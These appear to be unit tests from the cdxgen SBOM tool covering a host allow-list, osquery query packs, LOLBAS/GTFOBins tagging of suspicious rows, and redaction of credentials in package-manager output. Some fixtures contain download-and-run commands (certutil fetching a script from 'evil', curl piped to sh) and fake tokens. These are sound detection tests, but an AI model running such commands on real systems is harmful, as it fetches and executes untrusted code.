  602. assert.strictEqual(failureActivities[0].target, failureUrl);
  603. } finally {
  604. if (setDryRunModeMocked) {
  605. setDryRunModeMocked(false);
  606. }
  607. }
  608. });
  609. it("cdxgenAgent throws (not just logs) for a disallowed host outside dry-run", () => {
  610. const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
  611. try {
  612. // Regression guard: the beforeRequest hook must THROW to abort a blocked
  613. // host. Returning an aborted AbortController is a no-op and lets the
  614. // request through, silently bypassing CDXGEN_ALLOWED_HOSTS.
  615. process.env.CDXGEN_ALLOWED_HOSTS = "example.com";
  616. const beforeRequestHook =
  617. cdxgenAgent.defaults.options.hooks.beforeRequest[0];
  618. setDryRunMode(false);
  619. resetRecordedActivities();
  620. let thrown;
  621. try {
  622. beforeRequestHook({
  623. context: {},
  624. url: new URL("https://evil.example.org/resource"),
  625. });
  626. } catch (err) {
  627. thrown = err;
  628. }
  629. assert.ok(thrown, "Expected a disallowed host to throw");
  630. assert.strictEqual(thrown.code, "CDXGEN_HOST_BLOCKED");
  631. } finally {
  632. if (originalAllowedHosts === undefined) {
  633. delete process.env.CDXGEN_ALLOWED_HOSTS;
  634. } else {
  635. process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
  636. }
  637. resetRecordedActivities();
  638. }
  639. });
  640. it("cdxgenAgent reads CDXGEN_ALLOWED_HOSTS once per request", () => {
  641. const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
  642. try {
  643. process.env.CDXGEN_ALLOWED_HOSTS = "example.com";
  644. const beforeRequestHook =
  645. cdxgenAgent.defaults.options.hooks.beforeRequest[0];
  646. setDryRunMode(true);
  647. resetRecordedActivities();
  648. assert.throws(() =>
  649. beforeRequestHook({
  650. context: {},
  651. url: new URL("https://example.com/resource"),
  652. }),
  653. );
  654. const envActivities = getRecordedActivities().filter(
  655. (activity) => activity.target === "process.env:CDXGEN_ALLOWED_HOSTS",
  656. );
  657. assert.strictEqual(envActivities.length, 1);
  658. assert.strictEqual(envActivities[0].count, 1);
  659. } finally {
  660. if (originalAllowedHosts === undefined) {
  661. delete process.env.CDXGEN_ALLOWED_HOSTS;
  662. } else {
  663. process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
  664. }
  665. setDryRunMode(false);
  666. resetRecordedActivities();
  667. }
  668. });
  669. describe("convertOSQueryResults", () => {
  670. it("includes the osquery 5.23.0 query pack additions across platform profiles", () => {
  671. const linuxQueries = JSON.parse(
  672. readFileSync(
  673. new URL("../../data/queries.json", import.meta.url),
  674. "utf-8",
  675. ),
  676. );
  677. const darwinQueries = JSON.parse(
  678. readFileSync(
  679. new URL("../../data/queries-darwin.json", import.meta.url),
  680. "utf-8",
  681. ),
  682. );
  683. const windowsQueries = JSON.parse(
  684. readFileSync(
  685. new URL("../../data/queries-win.json", import.meta.url),
  686. "utf-8",
  687. ),
  688. );
  689. assert.ok(linuxQueries.npm_packages);
  690. assert.ok(linuxQueries.secureboot_certificates);
  691. assert.ok(linuxQueries.apt_ppa_sources);
  692. assert.ok(linuxQueries.sysctl_hardening);
  693. assert.ok(linuxQueries.mount_hardening);
  694. assert.ok(linuxQueries.trusted_gpg_keys);
  695. assert.ok(darwinQueries.gatekeeper);
  696. assert.ok(darwinQueries.npm_packages);
  697. assert.match(
  698. darwinQueries.package_bom.query,
  699. /WHERE path IN \(SELECT REPLACE\(package_receipts\.path, '.plist', '.bom'\) FROM package_receipts JOIN file ON file\.path = REPLACE\(package_receipts\.path, '.plist', '.bom'\) WHERE package_receipts\.path LIKE '%.plist' AND file\.size <= 52428800\)/i,
  700. );
  701. assert.match(linuxQueries.trusted_gpg_keys.query, /file\.directory/);
  702. assert.match(linuxQueries.trusted_gpg_keys.query, /hash\.sha256/);
  703. assert.ok(windowsQueries.process_open_handles_snapshot);
  704. });
  705. it("includes the osquery 5.24.0 query pack additions across platform profiles", () => {
  706. const readPack = (name) =>
  707. JSON.parse(
  708. readFileSync(new URL(`../../data/${name}`, import.meta.url), "utf-8"),
  709. );
  710. const linuxQueries = readPack("queries.json");
  711. const darwinQueries = readPack("queries-darwin.json");
  712. const windowsQueries = readPack("queries-win.json");
  713. const cbomQueries = readPack("cbomosdb-queries.json");
  714. for (const category of [
  715. "pacman_packages",
  716. "snap_packages",
  717. "flatpak_packages",
  718. "homebrew_packages",
  719. ]) {
  720. assert.ok(linuxQueries[category], category);
  721. }
  722. assert.strictEqual(linuxQueries.pacman_packages.purlType, "alpm");
  723. assert.strictEqual(linuxQueries.snap_packages.purlType, "snap");
  724. assert.strictEqual(linuxQueries.flatpak_packages.purlType, "flatpak");
  725. // A flatpak is named by its application ID, which the query selects as
  726. // the row's name.
  727. assert.match(linuxQueries.flatpak_packages.query, /app_id as name/i);
  728. assert.strictEqual(darwinQueries.macports_packages.purlType, "macports");
  729. assert.ok(!windowsQueries.homebrew_packages);
  730. // Homebrew now runs on Linux with the entry macOS has always used.
  731. assert.deepStrictEqual(
  732. linuxQueries.homebrew_packages,
  733. darwinQueries.homebrew_packages,
  734. );
  735. // The tables of every platform share one entry in each pack.
  736. for (const category of [
  737. "ai_agent_skills",
  738. "gpu_info",
  739. "chrome_search_engines",
  740. ]) {
  741. assert.deepStrictEqual(linuxQueries[category], darwinQueries[category]);
  742. assert.deepStrictEqual(linuxQueries[category], windowsQueries[category]);
  743. }
  744. // Skills of every user, then the system-wide ones a users join drops.
  745. assert.match(
  746. linuxQueries.ai_agent_skills.query,
  747. /FROM users JOIN ai_agent_skills USING \(uid\)/,
  748. );
  749. assert.match(
  750. linuxQueries.ai_agent_skills.query,
  751. /UNION ALL .* WHERE ai_agent_skills\.scope = 'system'/,
  752. );
  753. assert.match(linuxQueries.ai_agent_skills.query, /hash\.sha256/);
  754. assert.strictEqual(linuxQueries.ai_agent_skills.componentType, "file");
  755. assert.strictEqual(linuxQueries.gpu_info.componentType, "device");
  756. assert.match(
  757. windowsQueries.windows_bitlocker_info.query,
  758. /\bprotector_types\b/,
  759. );
  760. assert.strictEqual(cbomQueries.pacman_packages.purlType, "alpm");
  761. assert.strictEqual(cbomQueries.macports_packages.purlType, "macports");
  762. // gpu_metrics changes on every run, and the bpf event tables are gone.
  763. for (const pack of [linuxQueries, darwinQueries, windowsQueries]) {
  764. for (const queryObj of Object.values(pack)) {
  765. assert.doesNotMatch(
  766. queryObj.query,
  767. /\b(gpu_metrics|bpf_process_events|bpf_socket_events)\b/,
  768. );
  769. }
  770. }
  771. });
  772. it("should model trusted linux repository keys as cryptographic assets", () => {
  773. const components = convertOSQueryResults(
  774. "trusted_gpg_keys",
  775. {
  776. purlType: "generic",
  777. componentType: "cryptographic-asset",
  778. },
  779. [
  780. {
  781. name: "debian-archive-keyring.gpg",
  782. version: "c".repeat(64),
  783. description: "/usr/share/keyrings/debian-archive-keyring.gpg",
  784. path: "/usr/share/keyrings/debian-archive-keyring.gpg",
  785. sha1: "b".repeat(40),
  786. sha256: "c".repeat(64),
  787. trust_domain: "apt",
  788. },
  789. ],
  790. false,
  791. );
  792. assert.strictEqual(components.length, 1);
  793. assert.strictEqual(components[0].type, "cryptographic-asset");
  794. assert.strictEqual(components[0].purl, undefined);
  795. assert.ok(
  796. components[0]["bom-ref"].startsWith(
  797. "crypto/related-crypto-material/public-key/",
  798. ),
  799. );
  800. assert.strictEqual(
  801. components[0].cryptoProperties?.assetType,
  802. "related-crypto-material",
  803. );
  804. assert.strictEqual(
  805. components[0].cryptoProperties?.relatedCryptoMaterialProperties?.type,
  806. "public-key",
  807. );
  808. assert.ok(
  809. components[0].hashes.some(
  810. (hash) => hash.alg === "SHA-256" && hash.content === "c".repeat(64),
  811. ),
  812. );
  813. });
  814. it("should preserve the full certificate crypto properties shape", () => {
  815. const components = convertOSQueryResults(
  816. "certificates",
  817. {
  818. purlType: "generic",
  819. componentType: "cryptographic-asset",
  820. },
  821. [
  822. {
  823. name: "ACCVRAIZ1",
  824. path: "/etc/ssl/certs/ACCVRAIZ1.crt",
  825. serial: "5EC3B7A6437FA4E0",
  826. subject: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
  827. issuer: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
  828. not_valid_before: "2011-05-05T09:37:37.000Z",
  829. not_valid_after: "2030-12-31T09:37:37.000Z",
  830. sha1: "1".repeat(40),
  831. },
  832. ],
  833. false,
  834. );
  835. assert.strictEqual(components.length, 1);
  836. assert.strictEqual(components[0].type, "cryptographic-asset");
  837. assert.strictEqual(
  838. components[0].cryptoProperties?.assetType,
  839. "certificate",
  840. );
  841. assert.deepStrictEqual(
  842. components[0].cryptoProperties?.certificateProperties,
  843. {
  844. serialNumber: "5EC3B7A6437FA4E0",
  845. subjectName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
  846. issuerName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
  847. notValidBefore: "2011-05-05T09:37:37.000Z",
  848. notValidAfter: "2030-12-31T09:37:37.000Z",
  849. certificateFormat: "X.509",
  850. certificateFileExtension: "crt",
  851. fingerprint: { alg: "SHA-1", content: "1".repeat(40) },
  852. },
  853. );
  854. });
  855. it("should ignore empty occurrence locations when adding import evidence", async () => {
  856. const pkgList = [{ name: "lodash" }];
  857. const allImports = {
  858. lodash: [
  859. {
  860. fileName: " ",
  861. importedAs: "lodash",
  862. importedModules: ["map"],
  863. },
  864. ],
  865. };
  866. await addEvidenceForImports(pkgList, allImports, {}, false);
  867. assert.strictEqual(pkgList[0].scope, "required");
  868. assert.strictEqual(pkgList[0].evidence, undefined);
  869. assert.deepStrictEqual(pkgList[0].properties, [
  870. {
  871. name: "internal:ImportedModules",
  872. value: "lodash,lodash/map",
  873. },
  874. ]);
  875. });
  876. it("should use identifier as package name for chrome-extension purl type", () => {
  877. const components = convertOSQueryResults(
  878. "chrome_extensions",
  879. {
  880. purlType: "chrome-extension",
  881. componentType: "application",
  882. },
  883. [
  884. {
  885. name: "Human Readable Name",
  886. identifier: "HLEPFOOHEGKHHMJIEOECHADDAEJAOKHF",
  887. version: "25.7.1",
  888. profile: "Default",
  889. },
  890. ],
  891. false,
  892. );
  893. assert.strictEqual(components.length, 1);
  894. assert.strictEqual(components[0].name, "hlepfoohegkhhmjieoechaddaejaokhf");
  895. assert.strictEqual(
  896. components[0].purl,
  897. "pkg:chrome-extension/hlepfoohegkhhmjieoechaddaejaokhf@25.7.1",
  898. );
  899. const propNames = components[0].properties.map((prop) => prop.name);
  900. assert.ok(propNames.includes("name"));
  901. assert.ok(propNames.includes("identifier"));
  902. });
  903. it("should omit purl for osquery data components while keeping a stable bom-ref", () => {
  904. const components = convertOSQueryResults(
  905. "authorized_keys_snapshot",
  906. {
  907. purlType: "swid",
  908. componentType: "data",
  909. },
  910. [
  911. {
  912. name: "root",
  913. version: "ssh-ed25519",
  914. description: "ops@example.invalid",
  915. key_file: "/root/.ssh/authorized_keys",
  916. uid: "0",
  917. },
  918. ],
  919. false,
  920. );
  921. assert.strictEqual(components.length, 1);
  922. assert.strictEqual(components[0].purl, undefined);
  923. assert.strictEqual(
  924. components[0]["bom-ref"],
  925. "osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
  926. );
  927. });
  928. it("should add LOLBAS properties to suspicious windows osquery rows", () => {
  929. const components = convertOSQueryResults(
  930. "windows_run_keys",
  931. {
  932. purlType: "swid",
  933. componentType: "data",
  934. },
  935. [
  936. {
  937. name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
  938. description:
  939. "powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
  940. },
  941. ],
  942. false,
  943. );
  944. assert.strictEqual(components.length, 1);
  945. assert.strictEqual(components[0].purl, undefined);
  946. assert.strictEqual(
  947. components[0]["bom-ref"],
  948. "osquery:windows_run_keys:data:HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater@unknown",
  949. );
  950. const propertyMap = Object.fromEntries(
  951. components[0].properties.map((property) => [
  952. property.name,
  953. property.value,
  954. ]),
  955. );
  956. assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
  957. assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
  958. assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
  959. assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
  960. assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
  961. });
  962. it("should add GTFOBins properties to suspicious Linux osquery rows", () => {
  963. if (platform() !== "linux") {
  964. return;
  965. }
  966. const components = convertOSQueryResults(
  967. "sudo_executions",
  968. {
  969. purlType: "swid",
  970. componentType: "application",
  971. },
  972. [
  973. {
  974. name: "bash",
  975. path: "/usr/bin/bash",
  976. cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
  977. parent_cmdline: "sudo bash -c payload",
  978. },
  979. ],
  980. false,
  981. );
  982. assert.strictEqual(components.length, 1);
  983. assert.ok(components[0].purl?.startsWith("pkg:swid/bash"));
  984. const propertyMap = Object.fromEntries(
  985. components[0].properties.map((property) => [
  986. property.name,
  987. property.value,
  988. ]),
  989. );
  990. assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
  991. assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
  992. assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
  993. assert.ok(
  994. propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
  995. );
  996. });
  997. it("collectExecutables() prefers usr-merged executable paths", () => {
  998. if (process.platform === "win32") {
  999. return;
  1000. }
  1001. const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
  1002. try {
  1003. mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
  1004. mkdirSync(path.join(tempDir, "usr", "sbin"), { recursive: true });
  1005. writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
  1006. writeFileSync(
  1007. path.join(tempDir, "usr", "sbin", "zramctl"),
  1008. "#!/bin/sh\n",
  1009. );
  1010. chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
  1011. chmodSync(path.join(tempDir, "usr", "sbin", "zramctl"), 0o755);
  1012. symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
  1013. symlinkSync(
  1014. path.join(tempDir, "usr", "sbin"),
  1015. path.join(tempDir, "sbin"),
  1016. );
  1017. const result = collectExecutables(tempDir, [
  1018. "/bin",
  1019. "/usr/bin",
  1020. "/sbin",
  1021. "/usr/sbin",
  1022. ]);
  1023. assert.deepStrictEqual(result, ["usr/bin/which", "usr/sbin/zramctl"]);
  1024. } finally {
  1025. rmSync(tempDir, { recursive: true, force: true });
  1026. }
  1027. });
  1028. it("collectExecutables() resolves followed symlink targets in dry-run mode", () => {
  1029. if (process.platform === "win32") {
  1030. return;
  1031. }
  1032. const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
  1033. setDryRunMode(true);
  1034. resetRecordedActivities();
  1035. try {
  1036. mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
  1037. writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
  1038. chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
  1039. symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
  1040. const result = collectExecutables(tempDir, ["/bin"]);
  1041. assert.deepStrictEqual(result, ["usr/bin/which"]);
  1042. const symlinkActivities = getRecordedActivities().filter(
  1043. (activity) => activity.kind === "symlink-resolution",
  1044. );
  1045. for (const symlinkActivity of symlinkActivities) {
  1046. assert.strictEqual(symlinkActivity.traceDetail, undefined);
  1047. }
  1048. } finally {
  1049. setDryRunMode(false);
  1050. resetRecordedActivities();
  1051. rmSync(tempDir, { recursive: true, force: true });
  1052. }
  1053. });
  1054. it("collectExecutables() skips files already owned by OS packages", () => {
  1055. if (process.platform === "win32") {
  1056. return;
  1057. }
  1058. const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
  1059. try {
  1060. mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
  1061. writeFileSync(path.join(tempDir, "usr", "bin", "owned"), "#!/bin/sh\n");
  1062. writeFileSync(path.join(tempDir, "usr", "bin", "unowned"), "#!/bin/sh\n");
  1063. chmodSync(path.join(tempDir, "usr", "bin", "owned"), 0o755);
  1064. chmodSync(path.join(tempDir, "usr", "bin", "unowned"), 0o755);
  1065. const result = collectExecutables(
  1066. tempDir,
  1067. ["/usr/bin"],
  1068. ["/usr/bin/owned"],
  1069. );
  1070. assert.deepStrictEqual(result, ["usr/bin/unowned"]);
  1071. } finally {
  1072. rmSync(tempDir, { recursive: true, force: true });
  1073. }
  1074. });
  1075. it("collectSharedLibs() preserves symlink alias entries while tracing resolutions", () => {
  1076. if (process.platform === "win32") {
  1077. return;
  1078. }
  1079. const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
  1080. try {
  1081. mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
  1082. writeFileSync(path.join(tempDir, "usr", "lib", "libfoo.so.1"), "binary");
  1083. symlinkSync(
  1084. path.join(tempDir, "usr", "lib", "libfoo.so.1"),
  1085. path.join(tempDir, "usr", "lib", "libfoo.so"),
  1086. );
  1087. const result = collectSharedLibs(tempDir, ["/usr/lib"]);
  1088. assert.deepStrictEqual(result, [
  1089. "usr/lib/libfoo.so",
  1090. "usr/lib/libfoo.so.1",
  1091. ]);
  1092. } finally {
  1093. rmSync(tempDir, { recursive: true, force: true });
  1094. }
  1095. });
  1096. it("collectSharedLibs() skips libraries already owned by OS packages", () => {
  1097. if (process.platform === "win32") {
  1098. return;
  1099. }
  1100. const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
  1101. try {
  1102. mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
  1103. writeFileSync(path.join(tempDir, "usr", "lib", "libowned.so.1"), "owned");
  1104. writeFileSync(
  1105. path.join(tempDir, "usr", "lib", "libunowned.so.1"),
  1106. "unowned",
  1107. );
  1108. const result = collectSharedLibs(
  1109. tempDir,
  1110. ["/usr/lib"],
  1111. undefined,
  1112. undefined,
  1113. ["/usr/lib/libowned.so.1"],
  1114. );
  1115. assert.deepStrictEqual(result, ["usr/lib/libunowned.so.1"]);
  1116. } finally {
  1117. rmSync(tempDir, { recursive: true, force: true });
  1118. }
  1119. });
  1120. it("collectSharedLibs() adds only the extra globs it is given", () => {
  1121. const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
  1122. try {
  1123. mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
  1124. mkdirSync(path.join(tempDir, "usr", "lib", "apache2", "modules"), {
  1125. recursive: true,
  1126. });
  1127. writeFileSync(path.join(tempDir, "usr", "lib", "libfoo.so"), "binary");
  1128. writeFileSync(
  1129. path.join(tempDir, "usr", "lib", "apache2", "modules", "libphp.so"),
  1130. "module",
  1131. );
  1132. writeFileSync(
  1133. path.join(tempDir, "usr", "lib", "apache2", "modules", "mod_other.so"),
  1134. "module",
  1135. );
  1136. // glob answers with the host's separator, so Windows sees usr\lib\...
  1137. const posixPaths = (files) =>
  1138. files.map((file) => file.replaceAll("\\", "/"));
  1139. // The default globs are one level deep and stay that way.
  1140. assert.deepStrictEqual(
  1141. posixPaths(collectSharedLibs(tempDir, ["/usr/lib"])),
  1142. ["usr/lib/libfoo.so"],
  1143. );
  1144. // The opt-in glob reaches the Apache module directory but nothing else.
  1145. assert.deepStrictEqual(
  1146. posixPaths(
  1147. collectSharedLibs(
  1148. tempDir,
  1149. ["/usr/lib"],
  1150. undefined,
  1151. undefined,
  1152. [],
  1153. ["**/usr/lib/apache2/modules/libphp*.so"],
  1154. ),
  1155. ),
  1156. ["usr/lib/apache2/modules/libphp.so", "usr/lib/libfoo.so"],
  1157. );
  1158. } finally {
  1159. rmSync(tempDir, { recursive: true, force: true });
  1160. }
  1161. });
  1162. it("recordSymlinkResolution() normalizes mixed path separators before comparing paths", () => {
  1163. setDryRunMode(true);
  1164. resetRecordedActivities();
  1165. try {
  1166. const activity = recordSymlinkResolution(
  1167. "usr\\bin\\which",
  1168. "usr/bin/which",
  1169. );
  1170. assert.strictEqual(activity, undefined);
  1171. assert.deepStrictEqual(getRecordedActivities(), []);
  1172. } finally {
  1173. setDryRunMode(false);
  1174. resetRecordedActivities();
  1175. }
  1176. });
  1177. it("recordSymlinkResolution() normalizes failed resolution paths without exposing trace detail", () => {
  1178. setDryRunMode(true);
  1179. resetRecordedActivities();
  1180. try {
  1181. recordSymlinkResolution("/tmp/root/usr/lib/libfoo.so", undefined, {
  1182. basePath: "/tmp/root",
  1183. errorCode: "ENOENT",
  1184. metadata: {
  1185. resolutionKind: "shared-library",
  1186. },
  1187. status: "failed",
  1188. });
  1189. const symlinkActivity = getRecordedActivities().find(
  1190. (activity) => activity.kind === "symlink-resolution",
  1191. );
  1192. assert.ok(symlinkActivity);
  1193. assert.strictEqual(symlinkActivity.target, "usr/lib/libfoo.so");
  1194. assert.strictEqual(symlinkActivity.errorCode, "ENOENT");
  1195. assert.strictEqual(symlinkActivity.traceDetail, undefined);
  1196. assert.strictEqual(symlinkActivity.resolvedPath, undefined);
  1197. assert.strictEqual(symlinkActivity.status, "failed");
  1198. } finally {
  1199. setDryRunMode(false);
  1200. resetRecordedActivities();
  1201. }
  1202. });
  1203. });
  1204. it("readEnvironmentVariable() reads only variables set in the environment", () => {
  1205. Object.prototype.CDXGEN_INHERITED_TEST_VAR = "polluted";
  1206. process.env.CDXGEN_OWN_TEST_VAR = "own";
  1207. try {
  1208. assert.strictEqual(
  1209. readEnvironmentVariable("CDXGEN_INHERITED_TEST_VAR"),
  1210. undefined,
  1211. );
  1212. assert.strictEqual(readEnvironmentVariable("toString"), undefined);
  1213. assert.strictEqual(readEnvironmentVariable("CDXGEN_OWN_TEST_VAR"), "own");
  1214. if (platform() === "win32") {
  1215. // Windows environment names ignore case.
  1216. assert.strictEqual(readEnvironmentVariable("cdxgen_own_test_var"), "own");
  1217. assert.ok(readEnvironmentVariable("Path"));
  1218. }
  1219. } finally {
  1220. delete Object.prototype.CDXGEN_INHERITED_TEST_VAR;
  1221. delete process.env.CDXGEN_OWN_TEST_VAR;
  1222. }
  1223. });
  1224. describe("isSecureMode", () => {
  1225. // The constant is fixed when the module loads, so the flag has to reach a
  1226. // fresh node process. Bun and deno have no permission model.
  1227. it("is on when --permission is passed on the node command line", () => {
  1228. if (process.versions?.bun || process.versions?.deno) {
  1229. return;
  1230. }
  1231. const activityUrl = new URL("./activity.js", import.meta.url).href;
  1232. const env = { ...process.env };
  1233. delete env.CDXGEN_SECURE_MODE;
  1234. delete env.NODE_OPTIONS;
  1235. const result = spawnSync(
  1236. process.execPath,
  1237. [
  1238. "--permission",
  1239. "--allow-fs-read=*",
  1240. "--input-type=module",
  1241. "-e",
  1242. `const { isSecureMode } = await import(${JSON.stringify(activityUrl)}); console.log(isSecureMode);`,
  1243. ],
  1244. { encoding: "utf-8", env },
  1245. );
  1246. assert.strictEqual(result.status, 0, result.stderr);
  1247. assert.strictEqual(result.stdout.trim(), "true");
  1248. });
  1249. });
lib/core/outputRedaction.poku.js · Bundled script · 71 lines · 1 finding marked
  1. import process from "node:process";
  2. import { assert, describe, it } from "poku";
  3. import { redactPackageManagerOutput } from "./outputRedaction.js";
  4. function withEnv(variables, callback) {
  5. const saved = Object.fromEntries(
  6. Object.keys(variables).map((name) => [name, process.env[name]]),
  7. );
  8. try {
  9. Object.assign(process.env, variables);
  10. return callback();
  11. } finally {
  12. for (const [name, original] of Object.entries(saved)) {
  13. if (original === undefined) {
  14. delete process.env[name];
  15. } else {
  16. process.env[name] = original;
  17. }
  18. }
  19. }
  20. }
  21. describe("redactPackageManagerOutput()", () => {
  22. it("removes token-like segments from index URL paths", () => {
  23. const output = [
  24. "Looking in indexes: http://pypi.example.com:8080/aB3dE5fG7hJ9kL1mN2pQ/simple/",
  25. "Downloading https://files.example.com/packages/internal_sdk-2.4.0-py3-none-any.whl#sha256=abc",
  26. "GET https://registry.example.com/npm/ghp_R7mQ2xV9bT4nL8cW3zD6hJ1fS5gY0aE2uK7p/pkg",
    • Dismissed after review: Contains what looks like a hardcoded GitHub token
    • Line 30 on GitHub
  27. ].join("\n");
  28. const redacted = redactPackageManagerOutput(output);
  29. assert.ok(redacted.includes("http://pypi.example.com:8080/***/simple/"));
  30. assert.ok(
  31. redacted.includes(
  32. "https://files.example.com/packages/internal_sdk-2.4.0-py3-none-any.whl#sha256=abc",
  33. ),
  34. );
  35. assert.ok(redacted.includes("https://registry.example.com/npm/***/pkg"));
  36. assert.ok(!redacted.includes("aB3dE5fG7hJ9kL1mN2pQ"));
  37. assert.ok(!redacted.includes("ghp_"));
  38. });
  39. it("replaces the values of credential-like environment variables", () => {
  40. withEnv(
  41. {
  42. PIP_EXTRA_INDEX_URL: "https://pypi.internal.example/Zq7tokenRw2/",
  43. CDXGEN_TEST_DEPLOY_TOKEN: "Vb8nexusQz41mX",
  44. CDXGEN_TEST_REPO_PSW: "Ht5portalLw93cN",
  45. CDXGEN_TEST_SHORT_TOKEN: "abc",
  46. },
  47. () => {
  48. const redacted = redactPackageManagerOutput(
  49. "ERROR: https://pypi.internal.example/Zq7tokenRw2/ refused Vb8nexusQz41mX; Ht5portalLw93cN abc",
  50. );
  51. assert.strictEqual(redacted, "ERROR: *** refused ***; *** abc");
  52. },
  53. );
  54. });
  55. it("redacts the message of an Error without its spawn arguments", () => {
  56. const error = Object.assign(
  57. new Error("spawnSync pip ENOENT https://u:pw@host/simple?token=x"),
  58. { spawnargs: ["--index-url", "https://u:pw@host/simple"] },
  59. );
  60. assert.strictEqual(
  61. redactPackageManagerOutput(error),
  62. "Error: spawnSync pip ENOENT https://***:***@host/simple?***",
  63. );
  64. });
  65. });

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.